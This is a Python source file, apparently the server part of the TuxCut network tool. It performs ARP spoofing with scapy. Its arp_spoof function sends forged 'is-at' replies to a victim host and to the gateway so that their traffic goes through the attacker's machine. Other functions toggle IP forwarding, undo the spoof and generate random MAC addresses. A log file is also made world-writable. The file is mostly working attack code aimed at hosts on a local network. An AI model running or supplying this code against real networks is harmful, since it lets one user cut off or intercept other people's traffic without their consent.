import os
from pathlib import Path
import sys
import subprocess as sp
import logging
from scapy.all import *
import netifaces
LOG_DIR = '/var/log/tuxcut'
if not os.path.isdir(LOG_DIR):
os.mkdir(LOG_DIR)
server_log = Path(os.path.join(LOG_DIR, 'tuxcut.log'))
server_log.touch(exist_ok=True)
server_log.chmod(0o666)
logging.basicConfig(level=logging.INFO)
logger = logging.getLogger('tuxcut-server')
handler = logging.FileHandler(os.path.join(LOG_DIR, 'tuxcut.log'))
formatter = logging.Formatter('%(asctime)s - %(name)s - %(levelname)s - %
(message)s')
handler.setFormatter(formatter)
logger.addHandler(handler)
# def get_ifaces():
# """
# all the available network interfaces except 'lo'
# """
# ifaces = netifaces.interfaces()
# if 'lo' in ifaces:
# ifaces.remove('lo')
# return ifaces
def get_hostname(ip):
"""
use nslookup from dnsutils package to get hostname for an ip
"""
try:
ans = sp.Popen(['nslookup', ip], stdout=sp.PIPE)
for line in ans.stdout:
line = line.decode('utf-8')
if 'name = ' in line:
return line.split(' ')[-1].strip('.\n')
except Exception as e:
logger.error(sys.exc_info()[1], exc_info=True)
return ''
def get_default_gw():
"""
Get the default gw ip address with the iface
"""
# netifaces.AF_INET = 2
gw = dict()
if netifaces.AF_INET in netifaces.gateways()['default']:
default_gw = netifaces.gateways()['default'][netifaces.AF_INET]
# initialize gw_mac with empty string
gw_mac = ''
# send arp packet to gw to get the MAC Address of the router
try:
results, unanswered = sr(ARP(op=ARP.who_has, psrc='8.8.8.8',
pdst=default_gw[0]))
for r in results[0]:
if r.psrc == default_gw[0]:
gw_mac = r.hwsrc
gw['ip'] = default_gw[0]
gw['mac'] = gw_mac
gw['hostname'] = get_hostname(default_gw[0])
gw['iface'] = default_gw[1]
logger.info('gw successfully retrieved')
except Exception as e:
logger.error(sys.exc_info()[1], exc_info=True)
return gw
def get_my(iface):
"""
find the IP and MAC addressess for the given interface
"""
my = dict()
try:
my['ip'] = get_if_addr(iface)
my['mac'] = get_if_hwaddr(iface)
my['hostname'] = get_hostname(get_if_addr(iface))
logger.info('My info succssfully retrieved')
except Exception as e:
logger.error(sys.exc_info()[1], exc_info=True)
return my
def enable_ip_forward():
try:
sp.Popen(['sysctl', '-w', 'net.ipv4.ip_forward=1'])
logger.info('IP forward Enabled')
except Exception as e:
logger.error(sys.exc_info()[1], exc_info=True)
def disable_ip_forward():
try:
sp.Popen(['sysctl', '-w', 'net.ipv4.ip_forward=0'])
logger.info('IP Forward Disabled')
except Exception as e:
logger.error(sys.exc_info()[1], exc_info=True)
def arp_spoof(victim):
gw = get_default_gw()
my = get_my(gw['iface'])
logger.info('attacking host {}'.format(victim['ip']))
# Cheat the victim
to_victim = ARP()
to_victim.op = 2 # make packet 'is-at'
to_victim.psrc = gw['ip']
to_victim.hwsrc = my['mac']
to_victim.pdst = victim['ip']
to_victim.hwdst = victim['mac']
# Cheat the gateway
to_gw = ARP()
to_gw.op = 2 # make packet 'is-at'
to_gw.psrc = victim['ip']
to_gw.hwsrc = my['mac']
to_gw.pdst = gw['ip']
to_gw.hwdst = gw['mac']
try:
send(to_victim, count=5)
send(to_gw, count=5)
logger.info('Done Spoofing host')
except Exception as e:
logger.error(sys.exc_info()[1], exc_info=True)
def arp_unspoof(victim):
gw = get_default_gw()
logger.info('resuming host {}'.format(victim['ip']))
# Fix the victim arp table
to_victim = ARP()
to_victim.op = 2 # make packet 'is-at'
to_victim.psrc = gw['ip']
to_victim.hwsrc = gw['mac']
to_victim.pdst = victim['ip']
to_victim.hwdst = victim['mac']
# Fix the gateway arp table
to_gw = ARP()
to_gw.op = 2 # make packet 'is-at'
to_gw.psrc = victim['ip']
to_gw.hwsrc = victim['mac']
to_gw.pdst = gw['ip']
to_gw.hwdst = gw['mac']
try:
send(to_victim, count=10)
send(to_gw, count=10)
logger.info('Done Resuming host')
except Exception as e:
logger.error(sys.exc_info()[1], exc_info=True)
def generate_mac():
return ':'.join(map(lambda x: "%02x" % x, [ 0x00,
random.randint(0x00, 0x7f),
random.randint(0x00, 0x7f),
random.randint(0x00, 0x7f),
random.randint(0x00, 0xff),
random.randint(0x00, 0xff)]))